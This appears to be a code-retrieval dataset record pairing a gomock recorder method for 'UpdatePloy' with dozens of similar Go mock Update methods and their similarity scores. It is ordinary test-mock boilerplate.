"func (m *MockStudentRepository) Update(arg0 *domain.Student, arg1 gocql.UUID) (*domain.Student, *exception.AppError) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", arg0, arg1)\n\tret0, _ := ret[0].(*domain.Student)\n\tret1, _ := ret[1].(*exception.AppError)\n\treturn ret0, ret1\n}", "func (m *MockItemRepository) Update(db *gorm.DB, itemID int, itemEntity *gormmodel.Item) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", db, itemID, itemEntity)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockApplicationStoreInterface) Update(arg0 *model.Application) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", arg0)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (_m *MockBookingStorage) Update(_a0 interface{}) {\n\t_m.Called(_a0)\n}", "func (m *MockApplicationManager) Update(ktx kontext.Context, ID int, e entity.OauthApplicationUpdateJSON) (entity.OauthApplicationJSON, jsonapi.Errors) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", ktx, ID, e)\n\tret0, _ := ret[0].(entity.OauthApplicationJSON)\n\tret1, _ := ret[1].(jsonapi.Errors)\n\treturn ret0, ret1\n}", "func (m *MockUserRepository) Update(id UserUUID, attr UserAttributes) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", id, attr)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockTaskService) Update(ctx context.Context, taskID string, summary *string, date *time.Time) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", ctx, taskID, summary, date)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockArticleRepository) Update(a *article.Article) (*article.Article, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", a)\n\tret0, _ := ret[0].(*article.Article)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockUserRepository) Update(arg0 int, arg1 *entities.User) (*entities.User, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", arg0, arg1)\n\tret0, _ := ret[0].(*entities.User)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockRepository) Update(ctx context.Context, coffeesDomain *transaction_header.Domain) (transaction_header.Domain, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", ctx, coffeesDomain)\n\tret0, _ := ret[0].(transaction_header.Domain)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockRepository) Update(ctx context.Context, asset *model.Asset) (*model.Asset, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", ctx, asset)\n\tret0, _ := ret[0].(*model.Asset)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockDBStorage) UpdateDesire(arg0 *models.Shadow) (*models.Shadow, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"UpdateDesire\", arg0)\n\tret0, _ := ret[0].(*models.Shadow)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockPushKeyKeeper) Update(pushKeyID string, upd *state.PushKey) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", pushKeyID, upd)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockRepository) Update(ctx context.Context, u *models.User) (*models.User, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", ctx, u)\n\tret0, _ := ret[0].(*models.User)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockNotesRepo) Update(arg0 domain.Note) (domain.Note, error) {\n\tret := m.ctrl.Call(m, \"Update\", arg0)\n\tret0, _ := ret[0].(domain.Note)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockRepository) Update(id string, changeset entity.UserChangeSet) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", id, changeset)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockUsecase) UpdatePlaylistTittle(playlist *models.Playlist) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"UpdatePlaylistTittle\", playlist)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockrepoProvider) UpdateInfo(ctx context.Context, userID string, user *types.User) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"UpdateInfo\", ctx, userID, user)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockTodoList) Update(userId, listId int, input domain.UpdateListInput) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", userId, listId, input)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockIDistributedEnforcer) UpdatePolicy(arg0, arg1 []string) (bool, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"UpdatePolicy\", arg0, arg1)\n\tret0, _ := ret[0].(bool)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockBookSvc) Update(arg0 context.Context, arg1 string, arg2 *repo.Book) (*repo.Book, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", arg0, arg1, arg2)\n\tret0, _ := ret[0].(*repo.Book)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (_m *Manager) Update(ctx context.Context, projectID int64, meta map[string]string) error {\n\tret := _m.Called(ctx, projectID, meta)\n\n\tvar r0 error\n\tif rf, ok := ret.Get(0).(func(context.Context, int64, map[string]string) error); ok {\n\t\tr0 = rf(ctx, projectID, meta)\n\t} else {\n\t\tr0 = ret.Error(0)\n\t}\n\n\treturn r0\n}", "func (m *MockOpenStorageRoleServer) Update(arg0 context.Context, arg1 *api.SdkRoleUpdateRequest) (*api.SdkRoleUpdateResponse, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", arg0, arg1)\n\tret0, _ := ret[0].(*api.SdkRoleUpdateResponse)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockDataSourceRepo) Update(arg0 context.Context, arg1 repository.DataSource) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", arg0, arg1)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockTopoServer) Update(arg0 context.Context, arg1 *topo.UpdateRequest) (*topo.UpdateResponse, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", arg0, arg1)\n\tret0, _ := ret[0].(*topo.UpdateResponse)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockMovableNode) UpdatePosition(arg0 zounds.Point) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"UpdatePosition\", arg0)\n}", "func (m *MockFoldersRepo) Update(arg0 domain.Folder) (domain.Folder, error) {\n\tret := m.ctrl.Call(m, \"Update\", arg0)\n\tret0, _ := ret[0].(domain.Folder)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockTenantServiceLBMappingPortDao) UpdateModel(arg0 model.Interface) error {\n\tret := m.ctrl.Call(m, \"UpdateModel\", arg0)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockUsecase) Update(ctx context.Context, coffeesDomain *transaction_header.Domain) (*transaction_header.Domain, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", ctx, coffeesDomain)\n\tret0, _ := ret[0].(*transaction_header.Domain)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func MockRoundUpdate(round uint64, p *user.Provisioners) RoundUpdate {\n\tprovisioners := p\n\tif p == nil {\n\t\tprovisioners, _ = MockProvisioners(1)\n\t}\n\n\tseed, _ := crypto.RandEntropy(33)\n\thash, _ := crypto.RandEntropy(32)\n\n\treturn RoundUpdate{\n\t\tRound: round,\n\t\tP: *provisioners,\n\t\tSeed: seed,\n\t\tHash: hash,\n\t\tLastCertificate: block.EmptyCertificate(),\n\t}\n}", "func (_m *StoreClient) Update(o interfaces.StoredObject) error {\n\tret := _m.Called(o)\n\n\tvar r0 error\n\tif rf, ok := ret.Get(0).(func(interfaces.StoredObject) error); ok {\n\t\tr0 = rf(o)\n\t} else {\n\t\tr0 = ret.Error(0)\n\t}\n\n\treturn r0\n}", "func (m *MockServiceProbeDao) UpdateModel(arg0 model.Interface) error {\n\tret := m.ctrl.Call(m, \"UpdateModel\", arg0)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockDao) UpdateRcon(server *model.Info) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"UpdateRcon\", server)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockConnectionTracer) UpdatedPTOCount(arg0 uint32) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"UpdatedPTOCount\", arg0)\n}", "func (m *MockTodoItem) Update(userId, itemId int, input domain.UpdateItemInput) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", userId, itemId, input)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockUsersRepo) Update(arg0 auth.User) (auth.User, error) {\n\tret := m.ctrl.Call(m, \"Update\", arg0)\n\tret0, _ := ret[0].(auth.User)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockIApi) UpdatePlan(arg0 *chartmogul.Plan, arg1 string) (*chartmogul.Plan, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"UpdatePlan\", arg0, arg1)\n\tret0, _ := ret[0].(*chartmogul.Plan)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockIDistributedEnforcer) UpdatePolicySelf(arg0 func() bool, arg1, arg2 string, arg3, arg4 []string) (bool, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"UpdatePolicySelf\", arg0, arg1, arg2, arg3, arg4)\n\tret0, _ := ret[0].(bool)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockTenantPluginDao) UpdateModel(arg0 model.Interface) error {\n\tret := m.ctrl.Call(m, \"UpdateModel\", arg0)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockUserService) Update(ctx context.Context, user model.UserCreationDto) error {\n\tret := m.ctrl.Call(m, \"Update\", ctx, user)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m_2 *MockUserUsecaser) Update(c context.Context, m *model.User) (*model.User, error) {\n\tm_2.ctrl.T.Helper()\n\tret := m_2.ctrl.Call(m_2, \"Update\", c, m)\n\tret0, _ := ret[0].(*model.User)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockAccountKeeper) Update(address identifier.Address, upd *state.Account) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Update\", address, upd)\n}", "func (m *MockTenantServiceVolumeDao) UpdateModel(arg0 model.Interface) error {\n\tret := m.ctrl.Call(m, \"UpdateModel\", arg0)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockProxyServer) ProxyUpdate(arg0 context.Context, arg1 *ProxyRequestMsg) (*ProxyResponseMsg, error) {\n\tret := m.ctrl.Call(m, \"ProxyUpdate\", arg0, arg1)\n\tret0, _ := ret[0].(*ProxyResponseMsg)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockDBStorage) UpdateReport(arg0 *models.Shadow) (*models.Shadow, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"UpdateReport\", arg0)\n\tret0, _ := ret[0].(*models.Shadow)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockTenantServicesStreamPluginPortDao) UpdateModel(arg0 model.Interface) error {\n\tret := m.ctrl.Call(m, \"UpdateModel\", arg0)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockFeiraStore) Update(ctx context.Context, id string, feira model.FeiraRequest) (string, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Update\", ctx, id, feira)\n\tret0, _ := ret[0].(string)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockIDistributedEnforcer) UpdatePoliciesSelf(arg0 func() bool, arg1, arg2 string, arg3, arg4 [][]string) (bool, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"UpdatePoliciesSelf\", arg0, arg1, arg2, arg3, arg4)\n\tret0, _ := ret[0].(bool)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockHTTPRuleDao) UpdateModel(arg0 model.Interface) error {\n\tret := m.ctrl.Call(m, \"UpdateModel\", arg0)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockPodiumInterface) UpdateScore(arg0 context.Context, arg1, arg2 string, arg3, arg4 int) (*client.Member, error) {\n\tret := m.ctrl.Call(m, \"UpdateScore\", arg0, arg1, arg2, arg3, arg4)\n\tret0, _ := ret[0].(*client.Member)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockAPI) UpdateIgnitionEndpointToken(arg0 context.Context, arg1 *gorm.DB, arg2 *models.Host, arg3 string) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"UpdateIgnitionEndpointToken\", arg0, arg1, arg2, arg3)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockTenantServicesPortDao) UpdateModel(arg0 model.Interface) error {\n\tret := m.ctrl.Call(m, \"UpdateModel\", arg0)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockEndpointsDao) UpdateModel(arg0 model.Interface) error {\n\tret := m.ctrl.Call(m, \"UpdateModel\", arg0)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockTenantServiceDao) UpdateModel(arg0 model.Interface) error {\n\tret := m.ctrl.Call(m, \"UpdateModel\", arg0)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockTopoClient) Update(ctx context.Context, in *topo.UpdateRequest, opts ...grpc.CallOption) (*topo.UpdateResponse, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{ctx, in}\n\tfor _, a := range opts {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"Update\", varargs...)\n\tret0, _ := ret[0].(*topo.UpdateResponse)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockTenantServiceConfigFileDao) UpdateModel(arg0 model.Interface) error {\n\tret := m.ctrl.Call(m, \"UpdateModel\", arg0)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockTenantDao) UpdateModel(arg0 model.Interface) error {\n\tret := m.ctrl.Call(m, \"UpdateModel\", arg0)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}" ]
[ "0.7019199", "0.69266635", "0.68591815", "0.679521", "0.67852527", "0.67660576", "0.6758619", "0.6750466", "0.6736294", "0.6689756", "0.66866666", "0.6665786", "0.666279", "0.66581595", "0.66483134", "0.6643419", "0.6634575", "0.66288036", "0.6606776", "0.6575654", "0.6563925", "0.65637785", "0.6557714", "0.6556752", "0.65545243", "0.6533713", "0.65234685", "0.6502725", "0.650135", "0.65006167", "0.6494599", "0.64934975", "0.6492349", "0.6465816", "0.6459063", "0.64577365", "0.64503044", "0.6442577", "0.6437868", "0.6409356", "0.6399651", "0.6398915", "0.6393946", "0.638813", "0.6383318", "0.637134", "0.63643634", "0.63482976", "0.6347148", "0.6346263", "0.63415277", "0.6336732", "0.6327635", "0.6318164", "0.63146824", "0.63013875", "0.6295466", "0.62945074", "0.629169", "0.6289738", "0.6285879", "0.62791294", "0.6275436", "0.6273564", "0.6267763", "0.6265654", "0.6258363", "0.6250914", "0.62311745", "0.6210403", "0.6201307", "0.6192717", "0.61915123", "0.6190055", "0.61864686", "0.6185283", "0.6183881", "0.61830246", "0.61797893", "0.6177", "0.6170579", "0.6162539", "0.6159397", "0.6157194", "0.61425763", "0.61425245", "0.6135921", "0.6135262", "0.6134584", "0.6122893", "0.6119976", "0.6114002", "0.6111733", "0.6091471", "0.6089634", "0.60864264", "0.60795", "0.6071184", "0.6069725", "0.60664654" ]
0.8127062
0
UpdatePloy indicates an expected call of UpdatePloy
func (mr *MockmonitorInterfaceMockRecorder) UpdatePloy(arg0, arg1 interface{}) *gomock.Call { mr.mock.ctrl.T.Helper() return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "UpdatePloy", reflect.TypeOf((*MockmonitorInterface)(nil).UpdatePloy), arg0, arg1) }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (m *MockmonitorInterface) UpdatePloy(arg0 string, arg1 int) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"UpdatePloy\", arg0, arg1)\n}", "func (mr *MockmonitorInterfaceMockRecorder) GetPloy() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetPloy\", reflect.TypeOf((*MockmonitorInterface)(nil).GetPloy))\n}", "func (mr *MockmonitorInterfaceMockRecorder) InitPloy() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"InitPloy\", reflect.TypeOf((*MockmonitorInterface)(nil).InitPloy))\n}", "func (o *Failure) UpdateP(exec boil.Executor, whitelist ...string) {\n\terr := o.Update(exec, whitelist...)\n\tif err != nil {\n\t\tpanic(boil.WrapErr(err))\n\t}\n}", "func (s *storesSuite) TestUpdateFailure() {\n\tcreate(s)\n\tpup2 := Puppy{Breed: \"kelpie\", Colour: black, Value: \"indispensable\"}\n\terr := s.store.UpdatePuppy(1, &pup2)\n\tsuccess := s.NotNil(err, \"Update on id 1 should have failed\")\n\tif !success {\n\t\treturn\n\t}\n\tst := fmt.Sprintf(\"no puppy with ID %v found\", 1)\n\ts.Equal(st, err.Error())\n}", "func (o *Rental) UpdateP(exec boil.Executor, whitelist ...string) {\n\terr := o.Update(exec, whitelist...)\n\tif err != nil {\n\t\tpanic(boil.WrapErr(err))\n\t}\n}", "func (o *Transaction) UpdateP(exec boil.Executor, whitelist ...string) {\n\terr := o.Update(exec, whitelist...)\n\tif err != nil {\n\t\tpanic(boil.WrapErr(err))\n\t}\n}", "func (o *Transaction) UpdateP(exec boil.Executor, whitelist ...string) {\n\terr := o.Update(exec, whitelist...)\n\tif err != nil {\n\t\tpanic(boil.WrapErr(err))\n\t}\n}", "func (mr *MockPodInterfaceMockRecorder) Update(arg0 interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockPodInterface)(nil).Update), arg0)\n}", "func (mr *MockNotepadsRepoMockRecorder) Update(arg0 interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockNotepadsRepo)(nil).Update), arg0)\n}", "func (o *Inventory) UpdateP(exec boil.Executor, whitelist ...string) {\n\terr := o.Update(exec, whitelist...)\n\tif err != nil {\n\t\tpanic(boil.WrapErr(err))\n\t}\n}", "func (o *InstrumentClass) UpdateP(exec boil.Executor, whitelist ...string) {\n\terr := o.Update(exec, whitelist...)\n\tif err != nil {\n\t\tpanic(boil.WrapErr(err))\n\t}\n}", "func failedUpdate(px *int) {\n\tx2 := 20\n\tpx = &x2\n}", "func (mr *MockCompanyMockRecorder) Update(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockCompany)(nil).Update), arg0)\n}", "func (o *Phenotypeprop) UpdateP(exec boil.Executor, whitelist ...string) {\n\terr := o.Update(exec, whitelist...)\n\tif err != nil {\n\t\tpanic(boil.WrapErr(err))\n\t}\n}", "func (mr *MockModuleServiceMockRecorder) UpdateModuleByVersion(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UpdateModuleByVersion\", reflect.TypeOf((*MockModuleService)(nil).UpdateModuleByVersion), arg0)\n}", "func (o *Skin) UpdateP(exec boil.Executor, whitelist ...string) {\n\terr := o.Update(exec, whitelist...)\n\tif err != nil {\n\t\tpanic(boil.WrapErr(err))\n\t}\n}", "func (o *Stock) UpdateP(exec boil.Executor, whitelist ...string) {\n\terr := o.Update(exec, whitelist...)\n\tif err != nil {\n\t\tpanic(boil.WrapErr(err))\n\t}\n}", "func (mr *MockTestClientMockRecorder) UpdateTestPoints(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UpdateTestPoints\", reflect.TypeOf((*MockTestClient)(nil).UpdateTestPoints), arg0, arg1)\n}", "func (mr *MockConnectionTracerMockRecorder) UpdatedPTOCount(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UpdatedPTOCount\", reflect.TypeOf((*MockConnectionTracer)(nil).UpdatedPTOCount), arg0)\n}", "func (o *Shelf) UpdateP(exec boil.Executor, whitelist ...string) {\n\terr := o.Update(exec, whitelist...)\n\tif err != nil {\n\t\tpanic(boil.WrapErr(err))\n\t}\n}", "func (mr *MockBookKeepingMockRecorder) Update(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockBookKeeping)(nil).Update), arg0, arg1)\n}", "func (o *Jet) UpdateP(exec boil.Executor, whitelist ...string) {\n\terr := o.Update(exec, whitelist...)\n\tif err != nil {\n\t\tpanic(boil.WrapErr(err))\n\t}\n}", "func (m *MockmonitorInterface) GetPloy() map[string]int {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetPloy\")\n\tret0, _ := ret[0].(map[string]int)\n\treturn ret0\n}", "func (o *Vote) UpdateP(exec boil.Executor, whitelist ...string) {\n\terr := o.Update(exec, whitelist...)\n\tif err != nil {\n\t\tpanic(boil.WrapErr(err))\n\t}\n}", "func (mr *MockPageTableMockRecorder) Update(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockPageTable)(nil).Update), arg0)\n}", "func (mr *MockUsersRepoMockRecorder) Update(arg0 interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockUsersRepo)(nil).Update), arg0)\n}", "func (mr *MockServiceMockRecorder) Update(arg0 interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockService)(nil).Update), arg0)\n}", "func (mr *MockMempoolMockRecorder) Update(blockHeight, blockTxs, deliverTxResponses, newPreFn, newPostFn interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockMempool)(nil).Update), blockHeight, blockTxs, deliverTxResponses, newPreFn, newPostFn)\n}", "func (mr *MockTopoServerMockRecorder) Update(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockTopoServer)(nil).Update), arg0, arg1)\n}", "func (mr *MockOpenStorageRoleServerMockRecorder) Update(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockOpenStorageRoleServer)(nil).Update), arg0, arg1)\n}", "func (mr *MockFoldersRepoMockRecorder) Update(arg0 interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockFoldersRepo)(nil).Update), arg0)\n}", "func (mr *MockUserRepoMockRecorder) Update(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockUserRepo)(nil).Update), arg0)\n}", "func (mr *MockIDistributedEnforcerMockRecorder) UpdatePolicy(arg0, arg1 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UpdatePolicy\", reflect.TypeOf((*MockIDistributedEnforcer)(nil).UpdatePolicy), arg0, arg1)\n}", "func (mr *MockSystemImplMockRecorder) Update(s interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockSystemImpl)(nil).Update), s)\n}", "func (mr *MockpersistentMockRecorder) Update(arg0, arg1, arg2 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*Mockpersistent)(nil).Update), arg0, arg1, arg2)\n}", "func (mr *MockJobClientMockRecorder) Update(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockJobClient)(nil).Update), arg0)\n}", "func (o *AssetRevision) UpdateP(exec boil.Executor, whitelist ...string) {\n\terr := o.Update(exec, whitelist...)\n\tif err != nil {\n\t\tpanic(boil.WrapErr(err))\n\t}\n}", "func (mr *MockParticipantStoreMockRecorder) Update(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockParticipantStore)(nil).Update), arg0)\n}", "func (p *MockDeployPluginFailComponents) Update(cluster *lang.Cluster, deployName string, params util.NestedParameterMap, eventLog *event.Log) error {\n\teventLog.WithFields(event.Fields{}).Infof(\"[*] %s\", deployName)\n\tfor _, s := range p.FailComponents {\n\t\tif strings.Contains(deployName, s) {\n\t\t\treturn p.fail(\"update\", deployName)\n\t\t}\n\t}\n\treturn nil\n}", "func (mr *FakeApiServerMockRecorder) Update(arg0, arg1, arg2 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*FakeApiServer)(nil).Update), arg0, arg1, arg2)\n}", "func (mr *MockPodiumInterfaceMockRecorder) UpdateScore(arg0, arg1, arg2, arg3, arg4 interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UpdateScore\", reflect.TypeOf((*MockPodiumInterface)(nil).UpdateScore), arg0, arg1, arg2, arg3, arg4)\n}", "func (mr *MockTerraformResourceMockRecorder) Update(d, meta interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockTerraformResource)(nil).Update), d, meta)\n}", "func (mr *MockUserRepositoryMockRecorder) Update(m interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockUserRepository)(nil).Update), m)\n}", "func (o FailureSlice) UpdateAllP(exec boil.Executor, cols M) {\n\tif err := o.UpdateAll(exec, cols); err != nil {\n\t\tpanic(boil.WrapErr(err))\n\t}\n}", "func (mr *MockProductUCMockRecorder) Update(arg0, arg1, arg2 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockProductUC)(nil).Update), arg0, arg1, arg2)\n}", "func (mr *MockBookSvcMockRecorder) Update(arg0, arg1, arg2 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockBookSvc)(nil).Update), arg0, arg1, arg2)\n}", "func (mr *MockFamilyRepoMockRecorder) Update(arg0 interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockFamilyRepo)(nil).Update), arg0)\n}", "func (r *MockRepoManager) assertUpdate() {\n\tr.mtx.RLock()\n\tdefer r.mtx.RUnlock()\n\tassert.Equal(r.t, 0, r.updateCount)\n}", "func (mr *MockNotesRepoMockRecorder) Update(arg0 interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Update\", reflect.TypeOf((*MockNotesRepo)(nil).Update), arg0)\n}", "func (mr *MockManagerMockRecorder) UpdateVersion() *gomock.Call {\n\treturn 